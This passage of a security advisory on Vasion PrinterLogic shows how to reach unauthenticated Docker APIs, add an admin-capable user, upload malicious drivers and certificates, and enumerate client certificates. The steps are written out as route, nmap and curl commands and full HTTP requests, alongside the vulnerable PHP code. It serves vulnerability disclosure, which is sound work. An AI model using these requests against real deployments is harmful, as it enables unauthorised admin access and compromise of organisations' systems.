`http://downloads.printerlogic.com/printerlogic_extension-1.0.5.10-an%2Bfx-windows.xpi`:

HTTP request

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

An attacker can MITM and inject malicious Firefox extensions.



## Details - Authentication Bypass - Docker instances reachable without 
authentication

It was observed that the Docker instances are freely reachable over the network 
due to insecure firewall rules. An attacker can directly interact with internal 
APIs and bypass any authentication mechanism.

Adding routes, 10.105.0.60 is the PrinterLogic instance:

    kali# route add -net 172.17.0.0/24 gw 10.105.0.60
    kali# route add -net 172.17.130.0/24 gw 10.105.0.60
    kali# route add -net 172.17.1.0/24 gw 10.105.0.60

Scanning IPs to detect Docker instances:

    kali$ sudo nmap -sT -v -n -p80 -oG printerlogic-va.grep 172.17.0.0/23
    [...]
    Nmap scan report for 172.17.0.185
    Host is up (0.0020s latency).
    
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.0.186
    Host is up (0.0013s latency).
    
    PORT   STATE  SERVICE
    80/tcp closed http
    
    Nmap scan report for 172.17.1.1
    Host is up (0.00081s latency).
    
    PORT   STATE SERVICE
    80/tcp open  http
    
    Nmap scan report for 172.17.1.129
    Host is up (0.00087s latency).
    
    PORT   STATE SERVICE
    80/tcp open  http
    
    Read data files from: /usr/bin/../share/nmap
    Nmap done: 512 IP addresses (62 hosts up) scanned in 6.63 seconds
               Raw packets sent: 3666 (138.648KB) | Rcvd: 89073 (21.482MB)

    kali% grep open printerlogic-va.grep
    Host: 172.17.0.1 ()     Ports: 80/open/tcp//http///
    Host: 172.17.0.129 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.130 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.135 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.137 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.138 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.139 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.140 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.141 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.142 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.144 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.145 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.146 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.147 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.149 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.150 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.151 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.152 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.153 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.155 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.157 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.158 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.159 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.160 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.161 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.163 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.164 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.165 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.166 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.167 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.170 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.172 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.173 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.175 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.176 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.177 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.178 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.180 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.181 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.182 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.184 ()   Ports: 80/open/tcp//http///
    Host: 172.17.0.185 ()   Ports: 80/open/tcp//http///
    Host: 172.17.1.1 ()     Ports: 80/open/tcp//http///
    Host: 172.17.1.129 ()   Ports: 80/open/tcp//http///

It is then possible to interact with instances without authentication.

Interacting with the scim Docker instance:

    kali% curl -kv http://172.17.0.158/ -H "X-Site-ID: "
    *   Trying 172.17.0.158:80...
    * Connected to 172.17.0.158 (172.17.0.158) port 80
    > GET / HTTP/1.1
    > Host: 172.17.0.158
    > User-Agent: curl/8.4.0
    > Accept: */*
    > 
    < HTTP/1.1 200 OK
    < Server: nginx
    < Content-Type: text/html; charset=UTF-8
    < Transfer-Encoding: chunked
    < Connection: keep-alive
    < Cache-Control: no-cache, private
    < Date: Fri, 22 Dec 2023 08:19:40 GMT
    < Set-Cookie: 
XSRF-TOKEN=eyJpdiI6InVMSlNlNkk3aTRaQ1FwaCsrd0wrREE9PSIsInZhbHVlIjoiWFZmZFc0cTR6QVNqYVVSUldmSnEwdVhpdFNkK05KRGxGdUdSTThEdURDelp0alwvdXA1U2pIVFwvNkwxcXlyUUoxIiwibWFjIjoiZDU0MzQ5ZDJlZDQxNWRjMTdlM2FmNjQxMjAwNGE1Y2E1NDIyMzU3MTQ1M2U3OTA1MmY4ZWIxZDQ3YTkzNWE0NCJ9;
 expires=Fri, 22-Dec-2023 10:19:40 GMT; Max-Age=7200; path=/
    < 
    * Connection #0 to host 172.17.0.158 left intact
    scim

Regarding the SaaS version, the vulnerability depends on the implementation 
inside the AWS infrastructure. Due to the lack of defense in depth, there is no 
reason to believe the SaaS version is not vulnerable.

An attacker can bypass authentication and interact with internal APIs.  

The entire authentication mechanism is bypassed as APIs are exposed without 
authentication.

One of the authentication mechanisms is based on the `X-Site-ID` HTTP header, 
corresponding to the installation ID - this can be bypassed by adding HTTP 
headers.

It is recommended to review the design of the solution.



## Details - Addition of partial-admin users without authentication

It was observed that an attacker can remotely add users without authentication 
on PrinterLogic. Then the user can log into the admin interface and receive an 
admin cookie.

An attacker can send a HTTP request to `/admin/identity-idp-search` without 
session cookies. The attacker receives 2 cookies (`XSRF-TOKEN`, 
`laravel_session`) and 1 CSRF token in the JSON body:

HTTP request to `/admin/identity-idp-search` without authentication:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Then the attacker sends a HTTP request to `/admin/idp-add-user` using the 
received `laravel_session` cookie in the HTTP header [1] and the received 
`_token` variable in the JSON payload [2]. We will add the 
`p[redacted]@[redacted]` account:

HTTP request to `/admin/idp-add-user`:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

And the user has been correctly created without authentication to the 
[redacted].printercloud10.com instance:

Listing of users

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Content of the HTTP request allowing creating any user.

HTTP request creating the `p[redacted]@[redacted]` user:

    POST /admin/idp-add-user HTTP/2
    Host: [redacted].printercloud10.com
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 
Firefox/115.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/json
    X-Requested-With: XMLHttpRequest
    Content-Length: 2347
    Origin: https://[redacted].printercloud10.com
    Referer: https://[redacted].printercloud10.com/admin/
    Cookie: laravel_session=[redacted]
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    
    
{"_token":"hHfNlq9PkW2wKjU0S8yRrn2nvr8taEJiJ92giaJb","recordData":[{"id":"93a[redacted-custom-uuid]","firstName":"Pierre","lastName":"[redacted]","displayName":"","username":"p[redacted]","email":"p[redacted]","domain":"","siteId":"[target-instance-redacted]","distinguishedName":"","sourceId":"[redacted-obtained-from-public-apis]","sourceService":"[redacted-obtained-from-public-apis]","sourceServiceType":"custom","usnChange":"","groups":[],"userAttributes":[{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"department","value":"[redacted-obtained-from-public-apis]","idp_id":"[redacted-obtained-from-public-apis]","tenant_id":[redacted-obtained-from-public-apis],"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18
 06:41:41.000000","updatedAt":"2023-10-18 
06:41:41.000000"},{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"external-id","value":"[redacted-obtained-from-public-apis]","idp_id":"[redacted-obtained-from-public-apis]","tenant_id":9999,"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18
 06:41:41.000000","updatedAt":"2023-10-18 
06:41:41.000000"},{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"active","value":true,"idp_id":"[redacted-obtained-from-public-apis]","tenant_id":9999,"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18
 06:41:41.000000","updatedAt":"2023-10-18 
06:41:41.000000"},{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"identity-linking","value":"[redacted-custom-email]","idp_id":"[redacted-obtained-from-public-apis]","tenant_id":9999,"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18
 06:41:41.000000","updatedAt":"2023-10-18 
06:41:41.000000"},{"id":[redacted-obtained-from-public-apis],"user_id":"93a[redacted-custom-uuid]","attribute":"manager","value":"{\"value\":\"[redacted-obtained-from-public-apis]\",\"displayName\":\"\"}","idp_id":"[redacted-obtained-from-public-apis]","tenant_id":9999,"deletedAt":{"Time":"0001-01-01T00:00:00Z","Valid":false},"createdAt":"2023-10-18
 06:41:45.000000","updatedAt":"2023-10-18 
06:41:45.000000"}],"tenantId":9999,"createdAt":"2023-10-18 
06:41:41.000000","updatedAt":"2023-10-18 
06:41:41.000000","pinNumbers":[],"selected":true,"idpName":"SSO"}],"nodeId":"2","objType":"user"}

This working request was built based on the output of the 
`/api-gateway/identify/search-users` API. This API can list all the users with 
all the needed fields (id, firstname, lastname, displayname, username, email, 
domain, siteId, sourceId, sourceService, userAttributes [groups], ...):

Output of the `/api-gateway/identify/search-users` API:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

The vulnerable code is located in the 
`/var/www/app/app/Http/Controllers/IdpSearchController.php` file inside the 
`printercloud/pi` Docker instance. No authentication is required.

Content of `/var/www/app/app/Http/Controllers/IdpSearchController.php` inside 
the `printercloud/pi` Docker instance:

[code:php]
  1 <?php
[...]
284     public function addUser(Request $request)
285     {
286         $usersOrGroups = $request->input(self::DATA_NAME_REQUEST_PARAM);
287         $objType = $request->input(self::OBJ_TYPE_REQUEST_PARAM);
288     
289         $response = new Collection();
290         try {
291             if (is_null($usersOrGroups)) {
292                 throw new NoRecordsException();
293             }
294             if (is_null($objType)) {
295                 throw new InvalidObjectTypeException();
296             }       
297             foreach ($usersOrGroups as $obj) {
298                 $umo = UsersMicroserviceObject::firstOrCreate([
299                     'unique_identifier' => $obj['id'],
300                     'object_type' => self::getIntObjType($objType),
301                 ]);
302                 $user = User::firstOrCreate(
303                     [
304                         'umo_id' => $umo->id,
305                     ],
306                     [
307                         'username' => self::getIntObjType($objType) == 
self::USER_OBJECT_TYPE ?
308                             $obj['username'] : $obj['name'],
309                         'email_address' => '!@#umo_' . $umo->id,
310                         'user_status' => 'Active',
311                         'my_password' => '-',
312                         'first_name' => '-',
313                         'last_name' => '-',
314                         'user_type' => 3,
315                         'account_id' => 1,
316                     ]
317                 );
318                 $response->push($user->id);
319             }
320         } catch (NoRecordsException $e) {
321             return $this->errorResponse($e->getMessage(), 
'INVALID-RECORDS', HttpResponse::HTTP_BAD_REQUEST);
322         } catch (InvalidObjectTypeException $e) {
323             return $this->errorResponse($e->getMessage(), 
'INVALID-OBJECT-TYPE', HttpResponse::HTTP_BAD_REQUEST);
324         } catch (Exception $e) {
325             return $this->errorResponse($e->getMessage(), null, 
$e->getCode());
326         }
327     
328         return response($response, HttpResponse::HTTP_CREATED);             
                                                                                
                                    
329     }
[/code]

This vulnerability has also been confirmed in the test SaaS version - the new 
user can log into the `/admin/` interface, and the session cookie has admin 
privileges even if the interface seems to be empty.

Login as p[redacted]@[redacted] inside the `/admin/` section

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

It is then possible to interact with APIs with admin privileges:

- - Upload of new drivers
- - /api-gateway/certs/regenerateCA
- - /api-gateway/printers/mfg
- - /api-gateway/br/devices
- - [...]

For example, we can upload drivers using the Linux client by creating a file 
named `1-1` inside the `/opt/PrinterInstallerClient/tmp/requests` directory 
containing these values.

Communicating with the Linux client to upload drivers:

    kali% cat test.file-upload
    UPLOAD_DRIVER                                    # upload command
    aHR0cHM6                                         # https
    W3JlZGFjdGVkXS5wcmludGVyY2xvdWQxMC5jb20=         # 
[redacted].printercloud10.com
    Lw==                                             # /
    UEhQU0VTU0lEPTlscjEyYWFhYWJkNDcxMjhhZGIyODM0MDEy # 
PHPSESSID=9lr12aaaabd47128adb2834012
    cHJpbnRlcg==                                     # printer
    cDk3Mg==                                         # p972
    
    LTE=                                             # -1
    kali% cp test.file-upload /opt/PrinterInstallerClient/tmp/requests/1-1

The file contains the PHPSESSID cookie obtained previously when the newly 
created user logs in /admin/:

    kali% echo UEhQU0VTU0lEPTlscjEyYWFhYWJkNDcxMjhhZGIyODM0MDEy | base64 -d
    PHPSESSID=9lr12aaaabd47128adb2834012

The Linux client will automatically create a popup asking to provide files for 
a printer driver:

Linux client

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

Upload of drivers

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

And when we visit the admin webpage, we can confirm that malicious drivers have 
been successfully uploaded:

Malicious drivers successfully uploaded in the admin interface

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

An attacker can get admin privileges without authentication.

An attacker can get admin privileges and upload malicious drivers.



## Details - Unauthenticated admin APIs allowing to configure the IdP (SSO) 
authentication mechanism

It was observed that some admin APIs are reachable without authentication, 
including critical APIs allowing changing the IdP authentication mechanism 
(/admin/idp-deployments):

- - /admin/authorized-devices
- - /admin/identity-management
- - /admin/user-management
- - /admin/idp-search
- - /admin/identity-idp-search
- - /admin/identity-add-user
- - /admin/idp-add-user
- - /admin/idp-deployments
- - /admin/idp-portal-securities
- - /admin/settings/logo

These routes are defined in the `/var/www/app/routes/web.php` file located 
inside the `printercloud/pi` Docker instance.

Content of `/var/www/app/routes/web.php` inside the `printercloud/pi` Docker 
instance:

[code:php]
  1 <?php
[...]
185     Route::get('authorized-devices', [
186         'middleware' => ['web'],
187         'as' => 'authorizedDevides.view',
188         'uses' => 'AuthorizedDeviceController@view',
189     ]); 
190     
191     Route::get('identity-management', [
192         'middleware' => ['web'],
193         'as' => 'identityManagement.view',
194         'uses' => 'IdentityManagementController@view',
195     ]);
196 
197     Route::get('user-management', [
198         'middleware' => ['web'],
199         'as' => 'userManagement.view',
200         'uses' => 'UserManagementController@view',
201     ]);
[...]
[/code]

For example, the /admin/idp-deployments API is implemented inside the 
`/var/www/app/Http/Controllers/IdpSearchController.php` file.

There is no authentication, and the attacker-controlled values are directly 
used to define the IdP deployment:

Content of `/var/www/app/Http/Controllers/IdpSearchController.php` inside the 
`printercloud/pi` Docker instance:

[code:php]
  1 <?php
[...]
174     public function setDeploymentDetails(Request $request)
175     {
176         $usersOrGroups = $request->input(self::DATA_NAME_REQUEST_PARAM);
177         $nodeId = $request->input(self::NODE_ID_REQUEST_PARAM);
178         $objType = $request->input(self::OBJ_TYPE_REQUEST_PARAM);
179         try {
180             if (is_null($usersOrGroups)) {
181                 throw new NoRecordsException();
182             }                     
183             if (is_null($nodeId)) {
184                 throw new NoNodeIdException();
185             }                      
186             if (is_null($objType)) {
187                 throw new InvalidObjectTypeException();
188             }
189 
190             $audits = \App::make(Audits::class);
191             foreach ($usersOrGroups as $obj) {
192                 $umo = UsersMicroserviceObject::firstOrCreate([
193                     'unique_identifier' => $obj['id'],
194                     'object_type' => self::getIntObjType($objType),
195                 ]);
196                 TreeAssociations::firstOrCreate([
197                     'node_id' => $nodeId,
198                     'associated_type' => 
self::USER_MICROSERVICE_OBJECT_ASSOCIATION_TYPE,
199                     'associated_id' => $umo->id,
200                 ]);
201                 $audits->audit(
202                     2300,
203                     '',
204                     'IdP Deployment',
205                     $obj['id'],
206                     AuditConstants::AC_CREATE,
207                     'Deployment',
208                     '',
209                     '',
210                     AuditConstants::AT_IDP_USER,
211                     '',
212                     '',
213                     ''
214                 );
215             }
216         } catch (NoRecordsException $e) {
217             return $this->errorResponse($e->getMessage(), 
'INVALID-RECORDS', HttpResponse::HTTP_BAD_REQUEST);
218         } catch (NoNodeIdException $e) {
219             return $this->errorResponse($e->getMessage(), 
'INVALID-NODE-ID', HttpResponse::HTTP_BAD_REQUEST);
220         } catch (InvalidObjectTypeException $e) {
221             return $this->errorResponse($e->getMessage(), 
'INVALID-OBJECT-TYPE', HttpResponse::HTTP_BAD_REQUEST);
222         } catch (Exception $e) {
223             return $this->errorResponse($e->getMessage(), null, 
$e->getCode());
224         }                                                                   
                                                                                
                                    
225         return response()->json(['message' => 'created'], 
HttpResponse::HTTP_CREATED);                                                    
                                                      
226     }
[...]
[/code]

An attacker can control the authentication mechanism and compromise 
PrinterLogic VA/SaaS.



## Details - Unauthenticated admin APIs allowing to upload/download SSL 
certificates

It was observed that some admin APIs are reachable without authentication, 
including APIs allowing to upload, generate and delete certificates:

- - /admin/hp/cert_upload
- - /admin/hp/cert_delete
- - /admin/certs/ca
- - /admin/certs/serviceclients/{scid}

These routes are defined in the `/var/www/app/routes/web.php` file located 
inside the `printercloud/pi` Docker instance:

Content of `/var/www/app/routes/web.php` inside the `printercloud/pi` Docker 
instance:

[code:php]
  1 <?php
[...]
103     /*   
104      * Certificate file upload Route
105      */   
106     Route::post('/hp/cert_upload', [
107         'as' => 'hp.cert-upload',
108         'uses' => 'HPCertificateController@uploadCertificate'
109     ]);  
110     Route::post('/hp/cert_delete', [
111         'as' => 'hp.cert-delete',
112         'uses' => 'HPCertificateController@deleteCertificate'
113     ]);  
114 
115     /**  
116      * Certificate download routes
117      */   
118     Route::get('/certs/ca', [
119         'as' => 'cert.ca',
120         'uses' => 'CertificateController@downloadCACertificate'     
121     ]);  
122     Route::get('/certs/serviceclients/{scid}', [
123         'as' => 'certs.servicelcients-scid',
124         'uses' => 'CertificateController@downloadServiceHostCertificate'
125     ]);]);
[/code]

And it is possible to upload a new certificate without authentication:

    POST /admin/hp/cert_upload HTTP/1.1
    Host: 10.105.0.60
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 
Firefox/115.0
    Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; 
boundary=---------------------------11897246743682233937470939635
    Content-Length: 1202
    Origin: http://10.105.0.60
    Connection: close
    Referer: http://10.105.0.60/admin/design/cert_upload.php
    Upgrade-Insecure-Requests: 1
    Pragma: no-cache
    Cache-Control: no-cache
    
    -----------------------------11897246743682233937470939635
    Content-Disposition: form-data; name="MAX_FILE_SIZE"
    
    2621440
    -----------------------------11897246743682233937470939635
    Content-Disposition: form-data; name="certificate"; filename="tt"
    Content-Type: application/octet-stream
    
    -----BEGIN CERTIFICATE-----
    MIICQDCCAeWgAwIBAgIMAVRI7yH9l1kN9QQKMAoGCCqGSM49BAMCMHExCzAJBgNV
    BAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMgTHRk
    LjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25vIFJv
    b3QgQ0EgMjAxNzAeFw0xNzA4MjIxMjA3MDZaFw00MjA4MjIxMjA3MDZaMHExCzAJ
    BgNVBAYTAkhVMREwDwYDVQQHDAhCdWRhcGVzdDEWMBQGA1UECgwNTWljcm9zZWMg
    THRkLjEXMBUGA1UEYQwOVkFUSFUtMjM1ODQ0OTcxHjAcBgNVBAMMFWUtU3ppZ25v
    IFJvb3QgQ0EgMjAxNzBZMBMGByqGSM49AgEGCCqGSM49AwEHA0IABJbcPYrYsHtv
    xie+RJCxs1YVe45DJH0ahFnuY2iyxl6H0BVIHqiQrb1TotreOpCmYF9oMrWGQd+H
    Wyx7xf58etqjYzBhMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
    A1UdDgQWBBSHERUI0arBeAyxr87GyZDvvzAEwDAfBgNVHSMEGDAWgBSHERUI0arB
    eAyxr87GyZDvvzAEwDAKBggqhkjOPQQDAgNJADBGAiEAtVfd14pVCzbhhkT61Nlo
    jbjcI4qKDdQvfepz7L9NbKgCIQDLpbQS+ue16M9+k/zzNY9vTlp8tLxOsvxyqltZ
    +efcMQ==
    -----END CERTIFICATE-----
    
    
    -----------------------------11897246743682233937470939635--
    
    
    HTTP/1.1 200 OK
    Cache-Control: no-cache, private
    Content-Security-Policy: frame-ancestors 'self'
    Content-Type: text/html; charset=UTF-8
    Date: Wed, 03 Jan 2024 14:14:26 GMT
    Server: nginx
    X-Content-Type-Options: nosniff
    X-Frame-Options: SAMEORIGIN
    X-Xss-Protection: 1; mode=block
    Connection: close
    Content-Length: 37
    
    {"message":"Success","filename":"tt"}

Upload a of a new certificate

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

The APIs are implemented inside the 
`/var/www/app/Http/Controllers/HPCertificateController.php` file, and there is 
no authentication:

[code:php]
  1 <?php
[...]
 21 class HPCertificateController extends Controller
 22 {
 23     use DispatchesJobs;
 24                                
 25     public function __construct()
 26     {
 27     }
 28 
 29     public function uploadCertificate(Request $request)
 30     {
 31         $file = $request->file('certificate');
 32         $temp_file = \File::get($file->path());
 33         if((stripos($temp_file, '-----BEGIN CERTIFICATE-----') >= 0) && 
(stripos($temp_file, '-----END CERTIFICATE-----')))
 34         {
 35             $api_file_service = new ApiFilesService();
 36             $api_file = 
$api_file_service->getCertificateByName($file->getClientOriginalName());
 37             if($api_file === null)
 38             {
 39                 $file_sql = 
$api_file_service->newApiFile($file->getClientOriginalName(), $file->getType(), 
strlen($temp_file), $temp_file);
 40             }
 41             else
 42             {
 43                 $file_sql = 
$api_file_service->updateApiFile($file->getClientOriginalName(), 
$file->getType(), strlen($temp_file), $temp_file);
 44             }
 45             if($file_sql === true || $file_sql > 0)
 46             {
 47                 $needs_update = Printer::where(function($q)
 48                 {
 49                     $q->where(function($query)
 50                     {
 51                         $query->where('make', '=', 'hp')
 52                             ->where('console_installed', '=', '1');
 53                     })
 54                     ->orWhere(function($query)
 55                     {
 56                         $query->where('make', '=', '')
 57                               ->where('console_installed', '=', '1');
 58                     });
 59                 })->get();
 60                 foreach($needs_update as $update)
 61                 {   
 62                     $temp_update_result = Printer::where('id', '=', 
$update->id)->first();
 63                     if($temp_update_result !== false && $temp_update_result 
!== null)
 64                     {
 65                         $temp_update_result->cpa_hp_needs_update = 1;
 66                         $temp_update_result->update();
 67                     }
 68                 }
 69                 try
 70                 {
 71                     (new UpdateHPCpaJob())
 72                         ->onQueue('update-hp')
 73                         ->dispatch();
 74                 }
 75                 catch(Exception $ex)
 76                 {
 77                     Log::debug("Catch - " . $ex->getMessage());
 78                 }
 79                 $response = array
 80                 (
 81                     'message'   =>  'Success',
 82                     'filename'  =>  $file->getClientOriginalName(),
 83                 );
 84                 return json_encode($response);
 85             }
 86             else
 87             {
 88                 $response = array
 89                 (
 90                     'message'   =>  'Fail',
 91                 );
 92                 return json_encode($response);
 93             }
 94         }
 95         else
 96         {                    
 97             $response = array(
 98                 'message'   =>  'Validation failed',
 99                 'errors'    =>  'Not a valid certificate',
100             );
101             return json_encode($response);
102         }
103     }
104                                                                             
                                                                                
                                    
105     public function deleteCertificate()                                     
                                                                                
                                    
106     {                                                                       
                                                                                
                                    
107         $api_files_service = new ApiFilesService();
108         $certificate_file = $api_files_service->getCertificate();
109         $certificate_file->delete();
110         $response = array(
111             "message"   =>  "Success",
112         );
113         return new JsonResponse($response);
114     }
115 }
[/code]

The `/admin/certs/serviceclients/{scid}` API can be used to download SSL 
certificates corresponding to clients (e.g. 
`https://[redacted].printercloud10.com/admin/certs/serviceclients/1`). There is 
an IDOR vulnerability in the `/admin/certs/serviceclients/` API as it is 
possible to enumerate all the service clients and retrieve the corresponding 
SSL certificates:

    kali% for i in {1..1000}; do curl 
"https://[redacted].printercloud10.com/admin/certs/serviceclients/$i";echo;done
    Failed to find service client with id: 1
    Failed to find service client with id: 2
    Failed to find service client with id: 3
    Failed to find service client with id: 4
    Failed to find service client with id: 5
    Failed to find service client with id: 6
    Failed to find service client with id: 7
    Failed to find service client with id: 8
    ^C
    kali%

An attacker can retrieve the certificates of clients.



## Details - Insecure credentials used for the installation

It was observed that default insecure credentials are used during the 
installation. Also, the webpage using weak credentials is reachable without 
authentication after the installation.

Using default password does not respect the California SB-327 regulation. By 
default, the root user has the `password` password.

Also, during the installation process, an attacker can reach the web interface 
used, specify any new credential and get admin privileges.

The `admin/query/update_database.php` is reachable without authentication and 
will use data provided by an attacker over POST to define a new admin password:

Content of `/var/www/app/admin/query/update_database.php`:

Lines 52-54, 74-75, 83 and 87-89:

[code:php]
[...]
  2 
  3 use PrinterLogic\Events\DatabaseInitialized;
  4 use Illuminate\Support\Facades\DB;
  5 
  6 //only used during initial creation of database from 
management_server_Requests
  7 $err = "";
  8 
  9 set_time_limit(2400);
 10 ob_start();
 11 
 12 require_once("global.php");
 13 require_once(ABSPATH."lib/dao/dbopen.php");
 14 require_once(ABSPATH."lib/dao/my_sql/ppp_statements.php");
 15 require_once(ABSPATH."lib/dao/update_database.inc.php");
 16 
 17 echo $err;
 18 
 19 $last_error = "";
 20 $res = prepare_database($last_error, $statementcount, $statements);
 21 $le2 = ob_get_contents();
 22 ob_end_clean();
 23 
 24 if (!empty($le2)) {
 25     respond_failure($le2);
 26     die();
 27 }
 28 
 29 if ($res === 1) {
 30     respond_continue("Updating database", "");
 31     return;
 32 } elseif ($res === 2) {
 33     xml();
 34     echo '<result code="9" 
sub="1"><desc>'.escape_html($last_error).'</desc><params></params></result>';
 35 } elseif (!empty($last_error)) {
 36     respond_failure($last_error);
 37     die();
 38 } elseif ($res === true && isset($_POST['create_snapshot'])) {
 39     echo 'Created snapshot of database (before admin account insert and 
ProductionSeeders).';
 40     return;
 41 }
 42 
 43 xml_buffer();
 44 
 45 // Set the initial admin email/password.
 46 $root_user = "";
 47 $root_password = "";
 48 $root_recovery_email = "";
 49 $root_first = "";
 50 $root_last = "";
 51 
 52 poststr('root_user', $root_user);                 // [1]
 53 poststr('root_password', $root_password);         // [1]
 54 poststr('root_user_email', $root_recovery_email); // [1]
 55 
 56 $root_user = empty($root_user) ? "" : $root_user;
 57 $root_password = empty($root_password) ? "" : $root_password;
 58 $root_recovery_email = empty($root_recovery_email) ? "" : 
$root_recovery_email;
 59 $root_last = empty($root_last) ? "" : $root_last;
 60 $root_first = empty($root_first) ? "" : $root_first;
 61 
 62 if (!filter_var($root_recovery_email, FILTER_VALIDATE_EMAIL)) {
 63     respond_failure("You must enter a valid email address");
 64     die();
 65 }
 66 
 67 $result = check_admin_password_requirements($root_password);
 68 if ($result !== true) {
 69     respond_failure($result);
 70     die();
 71 }
 72 
 73 // Defined here so it isn't defined if not used
 74 $sha512Password = hash('sha512', "password"); // [2]
 75 $sha1Password = hash('sha1', "password");     // [2]
 76 
 77 //for google:  username=email.   email=email.  password=oid
 78 if ($root_user != "" && $root_password != "") {
 79     require_once(ABSPATH."lib/dao/user_dao.php");
 80 
 81     $user_dao = new user_dao();
 82     $user_vo = new user_vo();
 83     $user_vo->id = 1;  //this isn't really solid...but I guess... // [3]
 84     $user_dao->load($user_vo);
 85 
 86     // Check to make sure the root user has the initial email/password, so 
that this cant be used to change any users email/password
 87     if ($user_vo->str_email_address == "admin" &&        // [4]
 88         ($user_vo->str_my_password == $sha512Password || // [4]
 89         $user_vo->str_my_password == $sha1Password)) {   // [4]
 90 
 91         $user_vo->str_username = $root_user;
 92         $user_vo->str_email_address = $root_recovery_email;
 93         if (GLOBALS::$googleapp) {
 94             $user_vo->str_my_password = $root_password;
 95             $user_vo->str_first_name = $root_first;
 96             $user_vo->str_last_name = $root_last;
 97         } else {
 98             $user_vo->str_my_password = hash('sha512', $root_password);
 99         }
100 
